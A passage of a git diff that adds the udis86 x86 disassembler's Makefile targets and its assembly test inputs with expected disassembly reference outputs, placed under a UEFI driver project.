$(AM_V_CC)source='symresolve.c' object='symresolve-symresolve.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(symresolve_CFLAGS) $(CFLAGS) -c -o symresolve-symresolve.obj `if test -f 'symresolve.c'; then $(CYGPATH_W) 'symresolve.c'; else $(CYGPATH_W) '$(srcdir)/symresolve.c'; fi` + +mostlyclean-libtool: + -rm -f *.lo + +clean-libtool: + -rm -rf .libs _libs + +ID: $(am__tagged_files) + $(am__define_uniq_tagged_files); mkid -fID $$unique +tags: tags-am +TAGS: tags + +tags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + set x; \ + here=`pwd`; \ + $(am__define_uniq_tagged_files); \ + shift; \ + if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ + test -n "$$unique" || unique=$$empty_fix; \ + if test $$# -gt 0; then \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + "$$@" $$unique; \ + else \ + $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ + $$unique; \ + fi; \ + fi +ctags: ctags-am + +CTAGS: ctags +ctags-am: $(TAGS_DEPENDENCIES) $(am__tagged_files) + $(am__define_uniq_tagged_files); \ + test -z "$(CTAGS_ARGS)$$unique" \ + || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ + $$unique + +GTAGS: + here=`$(am__cd) $(top_builddir) && pwd` \ + && $(am__cd) $(top_srcdir) \ + && gtags -i $(GTAGS_ARGS) "$$here" +cscopelist: cscopelist-am + +cscopelist-am: $(am__tagged_files) + list='$(am__tagged_files)'; \ + case "$(srcdir)" in \ + [\\/]* | ?:[\\/]*) sdir="$(srcdir)" ;; \ + *) sdir=$(subdir)/$(srcdir) ;; \ + esac; \ + for i in $$list; do \ + if test -f "$$i"; then \ + echo "$(subdir)/$$i"; \ + else \ + echo "$$sdir/$$i"; \ + fi; \ + done >> $(top_builddir)/cscope.files + +distclean-tags: + -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags + +distdir: $(DISTFILES) + @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ + list='$(DISTFILES)'; \ + dist_files=`for file in $$list; do echo $$file; done | \ + sed -e "s|^$$srcdirstrip/||;t" \ + -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ + case $$dist_files in \ + */*) $(MKDIR_P) `echo "$$dist_files" | \ + sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ + sort -u` ;; \ + esac; \ + for file in $$dist_files; do \ + if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ + if test -d $$d/$$file; then \ + dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ + if test -d "$(distdir)/$$file"; then \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ + cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ + find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ + fi; \ + cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ + else \ + test -f "$(distdir)/$$file" \ + || cp -p $$d/$$file "$(distdir)/$$file" \ + || exit 1; \ + fi; \ + done +check-am: all-am + $(MAKE) $(AM_MAKEFLAGS) $(check_PROGRAMS) + $(MAKE) $(AM_MAKEFLAGS) check-local +check: check-am +all-am: Makefile +installdirs: +install: install-am +install-exec: install-exec-am +install-data: install-data-am +uninstall: uninstall-am + +install-am: all-am + @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am + +installcheck: installcheck-am +install-strip: + if test -z '$(STRIP)'; then \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + install; \ + else \ + $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ + install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ + "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'" install; \ + fi +mostlyclean-generic: + +clean-generic: + +distclean-generic: + -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) + -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) + -test -z "$(DISTCLEANFILES)" || rm -f $(DISTCLEANFILES) + +maintainer-clean-generic: + @echo "This command is intended for maintainers to use" + @echo "it deletes files that may require special tools to rebuild." + -test -z "$(MAINTAINERCLEANFILES)" || rm -f $(MAINTAINERCLEANFILES) +clean: clean-am + +clean-am: clean-checkPROGRAMS clean-generic clean-libtool clean-local \ + mostlyclean-am + +distclean: distclean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +distclean-am: clean-am distclean-compile distclean-generic \ + distclean-tags + +dvi: dvi-am + +dvi-am: + +html: html-am + +html-am: + +info: info-am + +info-am: + +install-data-am: + +install-dvi: install-dvi-am + +install-dvi-am: + +install-exec-am: + +install-html: install-html-am + +install-html-am: + +install-info: install-info-am + +install-info-am: + +install-man: + +install-pdf: install-pdf-am + +install-pdf-am: + +install-ps: install-ps-am + +install-ps-am: + +installcheck-am: installcheck-local + +maintainer-clean: maintainer-clean-am + -rm -rf ./$(DEPDIR) + -rm -f Makefile +maintainer-clean-am: distclean-am maintainer-clean-generic + +mostlyclean: mostlyclean-am + +mostlyclean-am: mostlyclean-compile mostlyclean-generic \ + mostlyclean-libtool + +pdf: pdf-am + +pdf-am: + +ps: ps-am + +ps-am: + +uninstall-am: + +.MAKE: check-am install-am install-strip + +.PHONY: CTAGS GTAGS TAGS all all-am check check-am check-local clean \ + clean-checkPROGRAMS clean-generic clean-libtool clean-local \ + cscopelist-am ctags ctags-am distclean distclean-compile \ + distclean-generic distclean-libtool distclean-tags distdir dvi \ + dvi-am html html-am info info-am install install-am \ + install-data install-data-am install-dvi install-dvi-am \ + install-exec install-exec-am install-html install-html-am \ + install-info install-info-am install-man install-pdf \ + install-pdf-am install-ps install-ps-am install-strip \ + installcheck installcheck-am installcheck-local installdirs \ + maintainer-clean maintainer-clean-generic mostlyclean \ + mostlyclean-compile mostlyclean-generic mostlyclean-libtool \ + pdf pdf-am ps ps-am tags tags-am uninstall uninstall-am + + +@HAVE_YASM_TRUE@tests: difftest test-buf-overrun test-sym-resolver test-libcheck +@HAVE_YASM_FALSE@tests: warn_no_yasm test-buf-overrun test-sym-resolver test-libcheck + +.PHONY: test-buf-overrun +test-buf-overrun: bufoverrun + @./bufoverrun && echo "$@: passed" + +.PHONY: test-sym-resolver +test-sym-resolver: symresolve + @$(top_builddir)/tests/$< > $@.out + @diff -w $(srcdir)/symresolve.ref $@.out && echo "$@: passed." + +.PHONY: test-libcheck +test-libcheck: libcheck + @./libcheck && echo "$@: passed" + +.PHONY: oprtest +oprtest: oprgen.py + @echo "Generating operand tests." + @$(call oprtest_generate,64) + @$(call oprtest_generate,32) + @$(call oprtest_generate,16) + +.PHONY: difftest +difftest: oprtest $(builddir)/difftest.sh + @sh $(builddir)/difftest.sh + +.PHONY: difftest-refup +difftest-refup: $(builddir)/difftest.sh + @sh $(builddir)/difftest.sh refup + +.PHONY: warn_no_yasm +warn_no_yasm: + @echo "*** YASM NOT FOUND: Poor Test Coverage ***" + +check-local: tests + +installcheck-local: + @$(CC) $(srcdir)/installcheck.c -o installcheck.bin -I$(includedir) -L$(libdir) -ludis86 + @echo "$@: passed" + +clean-local: + rm -f $(builddir)/*.bin $(builddir)/*.out $(builddir)/*.pyc + rm -rf $(builddir)/_results + +# Tell versions [3.59,3.63) of GNU make to not export all variables. +# Otherwise a system limit (for SysV at least) may be exceeded. +.NOEXPORT: diff --git a/UefiDriver/udis86/tests/asm/16/disp.asm b/UefiDriver/udis86/tests/asm/16/disp.asm new file mode 100644 index 0000000..d471158 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/16/disp.asm @@ -0,0 +1,6 @@ +[bits 16] + mov ax, [eax-0x10] + add bx, [esi+0x10] + add ax, [0xffff] + add ax, [esi+edi*4-0x10] + add ax, [bx+si-0x4877] diff --git a/UefiDriver/udis86/tests/asm/16/test16.asm b/UefiDriver/udis86/tests/asm/16/test16.asm new file mode 100644 index 0000000..15cda25 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/16/test16.asm @@ -0,0 +1,5 @@ +[bits 16] + movzx eax, word [bx] + iretd + dpps xmm2, xmm1, 0x10 + blendvpd xmm1, xmm2 diff --git a/UefiDriver/udis86/tests/asm/32/att.asm b/UefiDriver/udis86/tests/asm/32/att.asm new file mode 100644 index 0000000..e90bfaf --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/att.asm @@ -0,0 +1,3 @@ +[bits 32] + mov eax, 0x1234 + mov eax, [0x1234] diff --git a/UefiDriver/udis86/tests/asm/32/att.asm.Sref b/UefiDriver/udis86/tests/asm/32/att.asm.Sref new file mode 100644 index 0000000..943f9be --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/att.asm.Sref @@ -0,0 +1,2 @@ +0000000000000000 b834120000 mov $0x1234, %eax +0000000000000005 a134120000 mov 0x1234, %eax diff --git a/UefiDriver/udis86/tests/asm/32/att.asm.ref b/UefiDriver/udis86/tests/asm/32/att.asm.ref new file mode 100644 index 0000000..0902c97 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/att.asm.ref @@ -0,0 +1,2 @@ +0000000000000000 b834120000 mov eax, 0x1234 +0000000000000005 a134120000 mov eax, [0x1234] diff --git a/UefiDriver/udis86/tests/asm/32/corner.asm b/UefiDriver/udis86/tests/asm/32/corner.asm new file mode 100644 index 0000000..5a795a2 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/corner.asm @@ -0,0 +1,5 @@ +[bits 32] + + lar eax, [bx+si] + nop + pause diff --git a/UefiDriver/udis86/tests/asm/32/corner.asm.ref b/UefiDriver/udis86/tests/asm/32/corner.asm.ref new file mode 100644 index 0000000..086755c --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/corner.asm.ref @@ -0,0 +1,3 @@ +0000000000000000 670f0200 lar eax, word [bx+si] +0000000000000004 90 nop +0000000000000005 f390 pause diff --git a/UefiDriver/udis86/tests/asm/32/disp.asm b/UefiDriver/udis86/tests/asm/32/disp.asm new file mode 100644 index 0000000..b6e4006 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/disp.asm @@ -0,0 +1,6 @@ +[bits 32] + mov eax, [eax-0x10] + add eax, [esi+0x10] + add eax, [0x10] + add eax, [esi+edi*4+0x10] + add eax, [bx+si-0x4877] diff --git a/UefiDriver/udis86/tests/asm/32/disp.asm.Sref b/UefiDriver/udis86/tests/asm/32/disp.asm.Sref new file mode 100644 index 0000000..009e242 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/disp.asm.Sref @@ -0,0 +1,5 @@ +0000000000000000 8b40f0 mov -0x10(%eax), %eax +0000000000000003 034610 add 0x10(%esi), %eax +0000000000000006 030510000000 add 0x10, %eax +000000000000000c 0344be10 add 0x10(%esi,%edi,4), %eax +0000000000000010 67038089b7 add -0x4877(%bx,%si), %eax diff --git a/UefiDriver/udis86/tests/asm/32/invalid_seg.asm b/UefiDriver/udis86/tests/asm/32/invalid_seg.asm new file mode 100644 index 0000000..93b171f --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/invalid_seg.asm @@ -0,0 +1,2 @@ +[bits 32] + db 0x8C, 0x38 diff --git a/UefiDriver/udis86/tests/asm/32/invalid_seg.asm.ref b/UefiDriver/udis86/tests/asm/32/invalid_seg.asm.ref new file mode 100644 index 0000000..1f40e08 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/invalid_seg.asm.ref @@ -0,0 +1 @@ +0000000000000000 8c38 invalid diff --git a/UefiDriver/udis86/tests/asm/32/obscure.asm b/UefiDriver/udis86/tests/asm/32/obscure.asm new file mode 100644 index 0000000..8e26c34 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/obscure.asm @@ -0,0 +1,12 @@ + + db 0xd1, 0xf6 ; shl Ev, 0x1 + db 0xd0, 0xf6 ; shl Eb, 0x1 + db 0xd9, 0xd9 ; fstp1 st1 + db 0xdc, 0xd0 ; fcom2 + db 0xdc, 0xd8 ; fcomp3 + db 0xdd, 0xc8 ; fxch4 + db 0xde, 0xd1 ; fcomp5 + db 0xdf, 0xc3 ; fxch7 + db 0xdf, 0xd0 ; fstp8 + db 0xdf, 0xd8 ; fstp9 + db 0x83, 0xe2, 0xdf ; and edx, 0xffffffdf (sign-extension) diff --git a/UefiDriver/udis86/tests/asm/32/obscure.asm.ref b/UefiDriver/udis86/tests/asm/32/obscure.asm.ref new file mode 100644 index 0000000..77aaf58 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/obscure.asm.ref @@ -0,0 +1,11 @@ +0000000000000000 d1f6 shl esi, 1 +0000000000000002 d0f6 shl dh, 1 +0000000000000004 d9d9 fstp1 st1 +0000000000000006 dcd0 fcom2 st0 +0000000000000008 dcd8 fcomp3 st0 +000000000000000a ddc8 fxch4 st0 +000000000000000c ded1 fcomp5 st1 +000000000000000e dfc3 ffreep st3 +0000000000000010 dfd0 fstp8 st0 +0000000000000012 dfd8 fstp9 st0 +0000000000000014 83e2df and edx, 0xffffffdf diff --git a/UefiDriver/udis86/tests/asm/32/reljmp.asm b/UefiDriver/udis86/tests/asm/32/reljmp.asm new file mode 100644 index 0000000..cd9959a --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/reljmp.asm @@ -0,0 +1,24 @@ +[bits 32] +[org 0x80000000] + +l1: + nop + nop + nop + nop + nop + + jmp l1 + nop + jmp word l2 + + nop + nop + jmp dword l2 + nop + nop + nop +l2: + nop + nop + jmp l1 diff --git a/UefiDriver/udis86/tests/asm/32/reljmp.asm.ref b/UefiDriver/udis86/tests/asm/32/reljmp.asm.ref new file mode 100644 index 0000000..aafcb3c --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/reljmp.asm.ref @@ -0,0 +1,17 @@ +0000000080000000 90 nop +0000000080000001 90 nop +0000000080000002 90 nop +0000000080000003 90 nop +0000000080000004 90 nop +0000000080000005 ebf9 jmp 0x80000000 +0000000080000007 90 nop +0000000080000008 66e90a00 jmp 0x16 +000000008000000c 90 nop +000000008000000d 90 nop +000000008000000e e903000000 jmp 0x80000016 +0000000080000013 90 nop +0000000080000014 90 nop +0000000080000015 90 nop +0000000080000016 90 nop +0000000080000017 90 nop +0000000080000018 ebe6 jmp 0x80000000 diff --git a/UefiDriver/udis86/tests/asm/32/sext.asm b/UefiDriver/udis86/tests/asm/32/sext.asm new file mode 100644 index 0000000..a4f4900 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/sext.asm @@ -0,0 +1,23 @@ +[bits 32] + + ;; test sign extension + + adc ax, -100 + and edx, -3 + or dx, -1000 + or dx, -1 + add edx, -1000 + imul dx, bx, -100 + imul edx, ebx, -1 + imul edx, ebx, -128 + imul edx, ebx, -129 + imul ax, bx, -129 + sub dword [eax], -1 + sub word [eax], -2000 + test eax, 1 + test eax, -1 + push byte -1 + push word -1 + push dword -1000 + push word -1000 + diff --git a/UefiDriver/udis86/tests/asm/32/sext.asm.ref b/UefiDriver/udis86/tests/asm/32/sext.asm.ref new file mode 100644 index 0000000..99bc887 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/sext.asm.ref @@ -0,0 +1,18 @@ +0000000000000000 6683d09c adc ax, 0xff9c +0000000000000004 83e2fd and edx, 0xfffffffd +0000000000000007 6681ca18fc or dx, 0xfc18 +000000000000000c 6683caff or dx, 0xffff +0000000000000010 81c218fcffff add edx, 0xfffffc18 +0000000000000016 666bd39c imul dx, bx, 0xff9c +000000000000001a 6bd3ff imul edx, ebx, 0xffffffff +000000000000001d 6bd380 imul edx, ebx, 0xffffff80 +0000000000000020 69d37fffffff imul edx, ebx, 0xffffff7f +0000000000000026 6669c37fff imul ax, bx, 0xff7f +000000000000002b 8328ff sub dword [eax], 0xffffffff +000000000000002e 66812830f8 sub word [eax], 0xf830 +0000000000000033 a901000000 test eax, 0x1 +0000000000000038 a9ffffffff test eax, 0xffffffff +000000000000003d 6aff push 0xffffffff +000000000000003f 666aff push 0xffff +0000000000000042 6818fcffff push 0xfffffc18 +0000000000000047 666818fc push 0xfc18 diff --git a/UefiDriver/udis86/tests/asm/32/test32.asm b/UefiDriver/udis86/tests/asm/32/test32.asm new file mode 100644 index 0000000..844b465 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/32/test32.asm @@ -0,0 +1,282 @@ +[bits 32] + mov [0x1000], bx + mov [0x10], ax + mov ax, [0x10] + mov byte [bx+si], 0x10 + mov byte [bx+si+0x10], 0x10 + mov word [bp+0x10], 0x10 + mov word [bp+di+0x10], 0x10 + mov dword [si+0x10], 0x10 + mov word [di+0x10], 0x10 + mov dword [bx+0x10], 0x1000 + mov word [bx+0x1000], 0x1000 + mov dword [ebx+ecx*4], 0x100 + mov [eax+eax*2], eax + mov [edx+esi*8], ebp + mov dword [ecx*4+0x490], 0x100 + mov byte [cs:0x100000], 0x10 + mov word [eax+0x10], 0x10 + mov [eax+0x10], ax + mov [eax+0x1000], ebx + mov [ebp+eax+0x20], esi + mov [ebp+edi+0x100000], esp + mov byte [esp], 0x10 + add al, 0x10 + add eax, ebx + push es + pop es + adc eax, 0x10000 + and [eax], al + daa + inc ax + inc edx + push eax + push ax + pushad + bound eax, [eax] + bound ax, [ecx] + bsr ax, ax + bsf eax, [bx+si] + bswap eax + bt [eax], ax + btr ax, 0x10 + btc ebx, 0x10 + bts word [ebx], 0x10 + call ax + call word [bx+si] + call eax + call dword [eax+ecx] + call word 0x10:0x100 + call dword 0x10:0x10000 + call far word [eax] + call far dword [bp+si] + cbw + cwd + clc + cld + clflush [eax] + cmp eax, ebx + cmp ecx, [bx] + cmpsb + cmpsw + cmpsd + cmpxchg [eax], ax + cmpxchg8b [ebx] + cpuid + das + inc eax + inc word [ecx] + dec byte [si] + in al, 0x10 + in ax, 0x10 + in eax, 0x10 + insb + insw + insd + int 0x10 + into + lahf + lds ax, [eax] + les eax, [ebx] + lea ax, [eax] + lea eax, [bx+si] + leave + lodsb + lodsw + lodsd + test al, bl + test [eax], bl + test [eax], ebx + test [eax], bx + ret + ret 0x10 + aad 0x10 + aam 0x10 + salc + hlt + cmc + lock xchg ebx, eax + repne mov eax, ebx + repe mov eax, 0x10 + push cs + outsd + outsw + mov ax, es + mov bx, ds + mov [eax], es + mov [ebx+ecx], cs + mov cs, [ebx+ecx] + wait + pushfw + pushfd + lodsw + lodsd + retf 0x10 + int3 + into + iretw + iretd + lsl ax, [bx] + syscall + clts + sysret + movups xmm0, xmm1 + mov dr0, eax + ror word [ebx], cl + wrmsr + rdmsr + rdtsc + rdtscp + rdpmc + sysenter + sysexit + cmovo eax, [eax] + cmovno eax, [bx] + cmovb eax, [eax] + cmovae eax, [bx] + cmovo eax, [eax] + cmovz eax, ebx + cmovnz eax, [eax] + cmovbe eax, [bx] + cmova eax, [bx] + movmskps eax, xmm0 + movmskpd eax, xmm0 + sqrtps xmm1, xmm0 + rsqrtps xmm1, xmm0 + rcpps xmm1, xmm0 + andps xmm1, xmm0 + orps xmm1, xmm0 + xorps xmm1, xmm0 + andnps xmm1, xmm0 + sqrtss xmm1, xmm0 + rsqrtss xmm1, xmm0 + rcpss xmm1, xmm0 + sqrtpd xmm1, xmm0 + andpd xmm1, xmm0 + andnpd xmm1, xmm0 + orpd xmm1, xmm0 + xorpd xmm1, xmm0 + sqrtsd xmm1, xmm0 + punpcklbw mm0, [eax] + punpcklwd mm0, mm1 + punpckldq mm0, mm1 + packsswb mm0, mm1 + packsswb mm0, mm1 + pcmpgtb mm0, mm1 + pcmpgtw mm0, mm1 + pcmpgtd mm0, mm1 + packuswb mm0, mm1 + punpcklbw xmm0, [eax] + punpcklwd xmm0, xmm1 + punpckldq xmm0, xmm1 + packsswb xmm0, xmm1 + packsswb xmm0, xmm1 + pcmpgtb xmm0, xmm1 + pcmpgtw xmm0, xmm1 + pcmpgtd xmm0, xmm1 + packuswb xmm0, xmm1 + pshufw mm0, mm1, 0x10 + pcmpeqb mm0, mm1 + pcmpeqw mm0, mm1 + pcmpeqd mm0, mm1 + pcmpeqb xmm0, xmm1 + pcmpeqw xmm0, xmm1 + pcmpeqd xmm0, xmm1 + emms + pshufhw xmm0, xmm1, 0x10 + pshufd xmm0, xmm1, 0x10 + pshuflw xmm0, xmm1, 0x10 + seto byte [eax] + setno byte [bx] + setz byte [es:eax+ecx*2+0x100] + push fs + pop fs + cpuid + bt [eax], eax + shld eax, ebx, 0x10 + shld [eax], bx, cl + cmpxchg [eax], eax + lss eax, [eax] + btr [eax], eax + movnti [eax], eax + psrlw mm0, 0x10 + fadd dword [eax] + imul eax, [eax], 0xf6 + movd [eax], xmm0 + movzx eax, word [eax] + push word [0x10] + insw + insd + fnstsw ax + fucomip st0, st1 + fcomip st0, st7 + fucomp st4 + fucom st5 + fstp st3 + fst st1 + ffree st0 + fdiv st7, st0 + fdivr st2, st0 + fsub st4, st0 + fsubr st6, st0 + fmul st0, st0 + fadd st5, st0 + ficom word [eax] + fidivr word [eax] + fimul word [ebx] + fisub word [ecx] + fld qword [bx+si] + fisttp qword [edx+0x100] + fnstsw word [eax] + frstor [ebx] + prefetch [bx+si] + psrlq xmm0, 0x10 + psrldq xmm0, 0x10 + movsldup xmm0, [eax] + add [0xffffffff], eax + cvtsi2ss xmm1, dword [eax] + pop dword [eax] + out 0x0, al + lldt word [0x100] + lgdt [0x221] + sldt word [0x233] + sgdt [0x443] + lidt [eax+0x333] + lldt ax + ltr bx + verr cx + verw dx + sldt ax + str bx + str eax + and esp, 0xfc + psrlw xmm1, 0x10 + psraw xmm7, 0x1 + psllw xmm2, 0x23 + fldenv [0x10] + fldenv [0x123] + fldcw word [0x100] + fnstcw word [0x10] + ficom word [eax+ebx+0x10] + fstp tword [0x10] + fadd qword [eax+ebx*2+0x1] + frstor [0x100] + fnstsw word [0x100] + fiadd word [0x100] + fild word [0x10] + monitor + mwait + lfence + mfence + sfence + vmrun + vmmcall + vmload + vmsave + stgi + clgi + skinit + invlpga + blendpd xmm1, xmm6, 0x8 + psignw xmm4, [eax] + blendpd xmm1, [eax], 0x9 diff --git a/UefiDriver/udis86/tests/asm/64/amd/invalid.asm b/UefiDriver/udis86/tests/asm/64/amd/invalid.asm new file mode 100644 index 0000000..17f65da --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/amd/invalid.asm @@ -0,0 +1,7 @@ +;; Test amd specific 64bit instructions + +[bits 64] + + ;; Invalid instructions in amd 64bit mode + db 0x0f, 0x34 ; sysenter (invalid) + db 0x0f, 0x35 ; sysexit (invalid) diff --git a/UefiDriver/udis86/tests/asm/64/amd/invalid.asm.ref b/UefiDriver/udis86/tests/asm/64/amd/invalid.asm.ref new file mode 100644 index 0000000..8005f0d --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/amd/invalid.asm.ref @@ -0,0 +1,2 @@ +0000000000000000 0f34 invalid +0000000000000002 0f35 invalid diff --git a/UefiDriver/udis86/tests/asm/64/branch.asm b/UefiDriver/udis86/tests/asm/64/branch.asm new file mode 100644 index 0000000..9284459 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/branch.asm @@ -0,0 +1,21 @@ +;; Test branching instructions +;; +[bits 64] + + jnz near x + jo near x + jno word x + jc near x + jnc word x + jae dword x + jcxz x + jecxz x + jrcxz x + jmp dword near x + call dword near x + jmp word x + jmp dword x + jmp word [eax] +x: jmp qword [rax] + jmp word x + jmp dword x diff --git a/UefiDriver/udis86/tests/asm/64/branch.asm.ref b/UefiDriver/udis86/tests/asm/64/branch.asm.ref new file mode 100644 index 0000000..e42cf33 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/branch.asm.ref @@ -0,0 +1,17 @@ +0000000000000000 0f853b000000 jnz 0x41 +0000000000000006 0f8035000000 jo 0x41 +000000000000000c 660f813000 jno 0x41 +0000000000000011 0f822a000000 jb 0x41 +0000000000000017 660f832500 jae 0x41 +000000000000001c 0f831f000000 jae 0x41 +0000000000000022 67e31c jecxz 0x41 +0000000000000025 67e319 jecxz 0x41 +0000000000000028 e317 jrcxz 0x41 +000000000000002a e912000000 jmp 0x41 +000000000000002f e80d000000 call 0x41 +0000000000000034 66e90900 jmp 0x41 +0000000000000038 e904000000 jmp 0x41 +000000000000003d 6766ff20 jmp word [eax] +0000000000000041 ff20 jmp qword [rax] +0000000000000043 66e9faff jmp 0x41 +0000000000000047 e9f5ffffff jmp 0x41 diff --git a/UefiDriver/udis86/tests/asm/64/disp.asm b/UefiDriver/udis86/tests/asm/64/disp.asm new file mode 100644 index 0000000..e527775 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/disp.asm @@ -0,0 +1,7 @@ +[bits 64] + mov ax, [eax-0x10] + add bx, [esi+0x10] + add rax, [0xffff] + add ax, [esi+edi*4-0x10] + add r8, [rax+rbx*4-0x80000000] + mov rax, [qword 0x800000000000] diff --git a/UefiDriver/udis86/tests/asm/64/disp.asm.Sref b/UefiDriver/udis86/tests/asm/64/disp.asm.Sref new file mode 100644 index 0000000..09662c3 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/disp.asm.Sref @@ -0,0 +1,7 @@ +0000000000000000 67668b40f0 mov -0x10(%eax), %ax +0000000000000005 6766035e10 add 0x10(%esi), %bx +000000000000000a 48030425ffff0000 add 0xffff, %rax +0000000000000012 67660344bef0 add -0x10(%esi,%edi,4), %ax +0000000000000018 4c03849800000080 add -0x80000000(%rax,%rbx,4), %r8 +0000000000000020 48a1000000000080 mov 0x800000000000, %rax + -0000 diff --git a/UefiDriver/udis86/tests/asm/64/disp.asm.ref b/UefiDriver/udis86/tests/asm/64/disp.asm.ref new file mode 100644 index 0000000..65c5859 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/disp.asm.ref @@ -0,0 +1,7 @@ +0000000000000000 67668b40f0 mov ax, [eax-0x10] +0000000000000005 6766035e10 add bx, [esi+0x10] +000000000000000a 48030425ffff0000 add rax, [0xffff] +0000000000000012 67660344bef0 add ax, [esi+edi*4-0x10] +0000000000000018 4c03849800000080 add r8, [rax+rbx*4-0x80000000] +0000000000000020 48a1000000000080 mov rax, [0x800000000000] + -0000 diff --git a/UefiDriver/udis86/tests/asm/64/intel/invalid.asm b/UefiDriver/udis86/tests/asm/64/intel/invalid.asm new file mode 100644 index 0000000..3527050 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/intel/invalid.asm @@ -0,0 +1,8 @@ +;; Test intel specific instructions in 64bit mode + +[bits 64] + + ;; yasm doesn't seem to support a mode for intel + ;; specific instructions + db 0x0f, 0x34 ; sysenter + db 0x0f, 0x35 ; sysexit diff --git a/UefiDriver/udis86/tests/asm/64/intel/invalid.asm.ref b/UefiDriver/udis86/tests/asm/64/intel/invalid.asm.ref new file mode 100644 index 0000000..63eddce --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/intel/invalid.asm.ref @@ -0,0 +1,2 @@ +0000000000000000 0f34 sysenter +0000000000000002 0f35 sysexit diff --git a/UefiDriver/udis86/tests/asm/64/reljmp.asm b/UefiDriver/udis86/tests/asm/64/reljmp.asm new file mode 100644 index 0000000..531d93e --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/reljmp.asm @@ -0,0 +1,24 @@ +[bits 64] +[org 0x8000000000000000] + +l1: + nop + nop + nop + nop + nop + + jmp l1 + nop + jmp word l2 + + nop + nop + jmp dword l2 + nop + nop + nop +l2: + nop + nop + jmp l1 diff --git a/UefiDriver/udis86/tests/asm/64/reljmp.asm.ref b/UefiDriver/udis86/tests/asm/64/reljmp.asm.ref new file mode 100644 index 0000000..75fb0ff --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/reljmp.asm.ref @@ -0,0 +1,17 @@ +8000000000000000 90 nop +8000000000000001 90 nop +8000000000000002 90 nop +8000000000000003 90 nop +8000000000000004 90 nop +8000000000000005 ebf9 jmp 0x8000000000000000 +8000000000000007 90 nop +8000000000000008 66e90a00 jmp 0x16 +800000000000000c 90 nop +800000000000000d 90 nop +800000000000000e e903000000 jmp 0x8000000000000016 +8000000000000013 90 nop +8000000000000014 90 nop +8000000000000015 90 nop +8000000000000016 90 nop +8000000000000017 90 nop +8000000000000018 ebe6 jmp 0x8000000000000000 diff --git a/UefiDriver/udis86/tests/asm/64/sext.asm b/UefiDriver/udis86/tests/asm/64/sext.asm new file mode 100644 index 0000000..215e537 --- /dev/null +++ b/UefiDriver/udis86/tests/asm/64/sext.asm @@ -0,0 +1,19 @@ +[bits 64] + + ;; test sign extension + + adc al, -100 + adc ax, -100 + adc eax, -100 + adc rax, -100 + imul dx, bx, -100 + imul edx, ebx, -100 + imul rdx, r11, -100 + push byte -1 + push word -1 + push dword -1000 + push word -1000 + push -1 + push byte -1 + push dword -1 + push word 